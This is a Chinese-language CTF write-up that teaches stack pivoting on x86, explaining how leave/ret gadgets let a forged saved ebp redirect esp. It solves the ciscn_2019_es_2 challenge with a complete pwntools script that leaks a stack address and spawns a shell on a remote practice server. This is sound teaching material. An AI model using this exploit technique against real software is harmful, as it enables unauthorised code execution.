棧遷移原理介紹與應用


本文將對CTF Pwn中「棧遷移」(又稱「棧轉移」)這一技術進行介紹與分析,希望讀完本文后以下問題將不再困擾你:

  • 什么是棧遷移?
  • 棧遷移解決了什么問題?
  • 怎么使用棧遷移這個技巧?
開始之前,有如下預備知識會極大提升你的閱讀體驗:
  • CTF Pwn是在做什么?提權(Getshell)是什么意思?
  • 在操作系統內存布局中,棧是一種怎樣的結構,具有怎樣的特點?
  • x86中常用寄存器的名稱與作用?函數調用棧的原理與過程是怎樣的?
  • 棧溢出攻擊的核心技巧是什么?

棧溢出是怎么回事? 

在預備知識的4個問題中,也許第四個會困擾到你。其實,如果知道了前三個問題的答案,聯想編程時偶爾出現的「 Error:Index out of bound」報錯,棧溢出(stackoverflow)是怎么一回事也非常簡單了。下圖是一個函數棧布局的常見狀態。
 
顧名思義,棧溢出就是當外界輸入過長時,將會超過局部變量(常為數組)的「勢力范圍」,從而造成數據溢出;如下圖所示。
 
 
因此,棧溢出能使我們覆蓋棧上某些區域的值,甚至是當前函數的返回地址  ret  ;一旦  ret 覆蓋為某個奇怪的值,例如  0xdeadbeaf,當函數結束恢復現場,即  eip 指向  ret 時,程序將會跳轉到內存中的  0xdeadbeaf 處。此時,內核會立即告訴我們“SIGSEV”,即常見的段錯誤(Segment Fault)。
 
問題來了,如果不是一個奇怪的值呢?如果是一個合法的地址呢?如果是程序中另外某個函數甚至是shellcode的地址呢?因此,一旦程序緩沖區變量可以被惡意用戶控制,而且 棧空間足夠大,程序原有執行流很可能會被破壞。
 
這就是棧溢出攻擊的核心原理。

那棧遷移是什么?

包租婆,怎么沒水了呢?

在完成一般的棧溢出攻擊時,有一個充分條件是「棧上有足夠的地方讓攻擊者進行布局」。通常的函數棧剩余空間是足夠放置一些惡意指令的,但也有少數極端情況,例如僅能容納一個  ret與一個  ebp。此時,一般的棧溢出攻擊方法將由於空間太小而不再適用。
 

“包租婆,怎么沒水了呢?”
“棧,你怎么沒地方了呢?”


沒水,那我們自己去找水

既然此處的函數棧無我容身之地,那不妨另換一處來打運動戰。這便是「棧遷移」的核心思想。所以該如何調動棧上的布局呢?
 
要知道這個問題的答案,首先要回顧一個函數在被調用以及結束時的匯編代碼以及棧的變化。
  
  
如圖所示,當上層函數調用foo函數,即 eip 執行到 call foo指令時, call 指令以及foo函數開頭的指令依次做了如下事情來「保護現場」:
  • 牢記foo結束后應從哪里繼續執行(保存當前 eip下面的位置到棧中,即 ret);
  • 牢記上層函數的棧底位置(保存當前 ebp 的內容到棧中,即為old ebp);
  • 牢記foo函數棧開始的位置(保存當前棧頂的內容到 ebp,便於foo函數棧內的尋址);
可以看到,這三件事分別對應了圖中①②里的匯編語句。而當 call foo指令執行完后,棧中的內容如下圖左所示,之后程序就由foo函數接管了。
 
 
當foo函數執行結束時, eip 即將執行 leaveret 兩條指令恢復現場,此時棧中內容如上圖右所示。而由前文可知, leave 與  ret 指令則相當於完成如下事情來「恢復現場」:
  • 清空當前函數棧以還原棧空間(直接移動棧頂指針 esp 到當前函數的棧底 ebp );
  • 還原棧底(將此時 esp 所指的上層函數棧底 old ebp 彈入 ebp 寄存器內);
  • 還原執行流(將此時 esp 所指的上層函數調用foo時的地址彈入 eip 寄存器內);
可以看到,這三步恰好為之前三步的逆過程。在「恢復現場」的過程中,棧頂指針的位置將完全由  ebp 寄存器的內容所控制( mov esp, ebp),而  ebp 寄存器的內容則可由棧中數據控制( pop ebp)。由此,反過來思考,一旦攻擊者能篡改棧上原 old  ebp 內容,則能篡改  ebp 寄存器中的內容,從而「有可能」去篡改  esp 的內容,進而影響到  eip。這一流程其實就是棧遷移的核心思想,如下圖所示。

  

上文中「有可能」被標注,這是因為  leave 所代表的子指令是有先后執行順序的,即無法先執行  pop ebp ,再執行  mov esp, ebp,因此直覺上無法先影響  ebp 再影響  esp。然而,既然棧上原  ebp 與  ret 數據也可被任意篡改,那是否能一轉局勢呢?
 
答案當然是可以的。如果將棧上 ret 部分覆蓋為另一組  leave  ret指令(gadget)的地址,即最終程序退出時會執行兩次  leave 指令,一次  ret 指令。由此,當  pop ebp 被第一次執行后, eip 將指向又一條  mov esp, ebp指令的地址,而此時  ebp 寄存器的內容已變為了第一次  pop ebp 時,被篡改過的棧上  ebp 的數據。這樣, esp 就會被「騙」到了另外的一處內存空間,從而整個函數的棧空間也完成了「遷移」。

棧遷移

理解上文后,相信你已經明白了棧遷移的核心思想,下面給出完整的棧遷移攻擊實施過程。

Step1. 首先確定緩沖區變量在溢出時,至少能覆蓋棧上 ebpret 兩個位置。之后,選取棧要被劫持到的地址;例如,若能在bss等內存段上執行shellcode,則可將棧遷移到shellcode開始處。記該地址為 HijackAddr
 
Step2. 尋找程序中一段 leave ret gadget的地址,記該地址為 LeaveRetAddr

Step3. 設置緩沖區變量,使其將棧上 ebp 覆蓋為 HijackAddr+4,將 ret 覆蓋為LeaveRetAddr

Step4. 程序執行至函數結束時,將依次發生如下事件:
  1. 執行指令:mov esp, ebp,還原棧頂指針至當前函數棧底;此時 esp 指向棧上被篡改的 ebp 數據;
  2. 執行指令:pop ebp,將篡改的HijackAddr+4放入 ebp 寄存器內;此時 esp 上移,指向棧上被篡改的 ret 數據;
 

    3. 執行指令:pop eip,將LeaveRetAddr放入eip寄存器內,篡改執行流;

    4. 執行指令:mov esp, ebp,將HijackAddr+4移入 esp 寄存器內,即棧頂指針指向 HijackAddr+4

    
 

    5. 執行指令:pop ebp,無實際效用,ebp寄存器仍為HijackAddr+4,但此時esp 上移,指向HijackAddr

    6. 執行指令: pop eip,將 HijackAddr移入 eip 內,成功篡改執行流至shellcode區域;
 
Step5. 棧頂指針被劫持,程序執行shellcode,攻擊結束。其中,Step1、Step4.2、Step4.4三個關鍵步驟對應的示意圖如下所示。 
 
一個形象點的過程如下
"
ebp:來嘛
esp:來了(mov esp, ebp)
ebp:壞了(pop ebp)
esp:你咋了
ebp:來嘛
esp:?這不來了(mov esp, ebp)
esp: 壞了
eip: 壞了(pop eip)
"

棧遷移的效果是怎樣的呢? 

在CTF Pwn中如果遇到棧空間過小的情況,則可以考慮使用棧遷移技術。下面以 BUUOJ 中 Pwn 的 ciscn_2019_es_2 一題為例進行介紹。
 
首先使用 checksec 觀察二進制文件 ciscn_2019_es_2 的保護屬性,發現僅「NX 棧執行保護」是開啟的。之后,將題目給出的二進制文件拖入IDA 32bit,容易發現在 vuln 函數中,直接使用 read 函數讀取輸入到棧上,如下圖所示。

 
此外,二進制文件中存在着一 hack 函數,該函數調用了  system,但並不能直接打印flag。因此,利用 read 函數也許可以覆蓋棧上數據並寫入 /bin/sh,使其執行  system 以getshell。
 
 
然而,棧上變量 s 位於  ebp-0x28,而 read 函數僅能讀入0x30個字節,那么若想實施緩沖區溢出,只有0x08 = 0x30-0x28個字節供我們進行布局。因此,在只有 ebpret 能被篡改的條件下可嘗試使用棧遷移技術。
 

判定棧遷移的實施條件

棧遷移能被實施的條件有二:
  1. 存在 leave ret 這類gadget指令
  2. 存在可執行shellcode的內存區域
對於條件一,使用ROPGadget可查看存在哪些gadget。如下圖所示,程序中許多地方都存在一條  leave ret 指令,因此條件一滿足。對於條件二, system函數讓「可執行」成為了可能, /bin/sh 則需要我們自行寫入。
因此,兩條件都可被滿足,下面就需要實施棧遷移完成攻擊。

分析與棧遷移的實施 

根據前文,首先要明確getshell最終要在哪里進行。在本題中,不能直接在 bss 等段寫入shellcode,而是應設法調用 system 等gadget,則可利用的區域僅有緩沖區變量 s 所覆蓋的0x28個字節。因此,我們最終要將  esp(與  ebp)劫持到當前棧的另一區域上,以完成傳統棧溢出payload的實施。

Step1. 確定劫持地址與偏移

注意到文件提供了  printf 這一輸出函數,該函數在未遇到終止符  '\0' 時會一直輸出。利用該特性可幫助我們泄露出棧上的地址,從而能計算出要劫持到棧上的准確地址。
 
在本題中,劫持目標地址即為緩沖區變量  s 的起始地址。要計算這一地址,可采取 棧上 ebp + 偏移量 的方法。其中,棧上 ebp可由  printf 函數泄露得到,偏移量的確定則需要進行調試分析。如圖所示,可在  vuln 函數中 0x80485fc 的 nop 處設置斷點,在運行時僅輸入 aaaa 進行定位即可。
 

 
 
由圖可知,此時  esp 位於 0xffffd2a0 處,即緩沖區變量開頭的'aaaa', ebp寄存器位於 0xffffd2d8,而該地址所存內容,即棧上  ebp 為 0xffffd2d8,為上層main函數的 old  ebpold  ebp 與 緩沖區變量 相距 0x38,這說明只要使用  printf 泄露出攻擊時棧上 ebp所存地址,將該地址減去0x38即為 s 的准確地址,即棧遷移最終要劫持到的地方。

Step2. 設計棧遷移攻擊過程

之后就是棧遷移大展神通的地方了。要完成棧遷移的攻擊結構,就要覆蓋原棧上  ret為  leave  ret gadget的地址,本題中可覆蓋為 0x080484b8;要將 esp劫持到 old_ebp -0x38處,就要將原 ebp中的 old_ebp 覆蓋為 old_ebp -0x38,其中 old_ebp 可通過第一次  read &  printf 泄露得到。此時棧遷移payload的框架如下圖所示。

 
在上圖中的Payload中,  vuln  函數正常執行到leave指令時,  ebp 寄存器將被賦予  old_ebp -0x38,而之后執行 ret(即第二個  leave  ret)時,  esp 將隨之被覆蓋為該值,因此該payload已然能實現將  esp 劫持至 old_ebp -0x38處的棧遷移效果了。
 
接下來則要向該框架中填充執行  system 的shellcode 以完成對 eip 與執行流的篡改。此處與傳統的棧溢出攻擊類似,下面直接給出payload結構。
 
 
上圖中,棧遷移的最后一個 pop eip 執行結束后,  esp  將指向  aaaa 后的內容開始執行,故此處要填上  system 函數地址,那么后面則應為一個 fake ebp 來維持棧操作的完整性。再往后則是  system 的函數參數,即  /bin/sh 的地址。而  /bin/sh 本身我們也可由  read 函數輸入到該區域內,因此其地址恰好也在棧上。
 
綜上即為完成棧遷移攻擊的完整過程及payload。

Step3. 攻擊腳本編寫

在第一次  read 以泄露出棧上 ebp內容時,注意應使用pwntools中的 send 而非 sendline,否則payload末尾會附上終止符導致無法連帶打印出棧上內容。其余環節按照payload構造直接編寫即可,如下所示。
 
from pwn import *

p = remote("node4.buuoj.cn", 27576)

system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret

p.sendline(payload2)
p.interactive()

 

最終,直接運行該腳本,可成功 getshell!
 
 

總結一下

【脆弱的棧】總結全文,棧遷移這一技術實際上也很簡單直觀。棧遷移能成功實施的核心原因就是,程序中存在着能讓  ebp 修改  esp 內容的gadget,如示例中的  leave ret 指令。只有這樣,篡改  ebp 后才能影響到  esp 。換言之,任何使用棧上數據修改  esp 的行為都是十分危險的,而在棧遷移中,恰好能修改的  ebp 實現了對  esp 的篡改。
 
【套娃Payload】在構造棧遷移的payload時,只需要在payload外層布局好要劫持的地址,在這種框架下payload內部保持傳統棧溢出攻擊的結構即可。
 
【esp與ebp】棧遷移的攻擊方法淋漓盡致地闡釋了「棧頂指針」以及「棧基地址」的意義
 
最后以一段與棧遷移原理相似的歌詞來收尾吧。
 
 “當初專心跟你燭光晚餐,從沒有認識蠟燭怎樣消散” ——林夕《搜神記》
 
感謝你的閱讀,希望能給予你一些幫助和啟發,歡迎你的建議!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM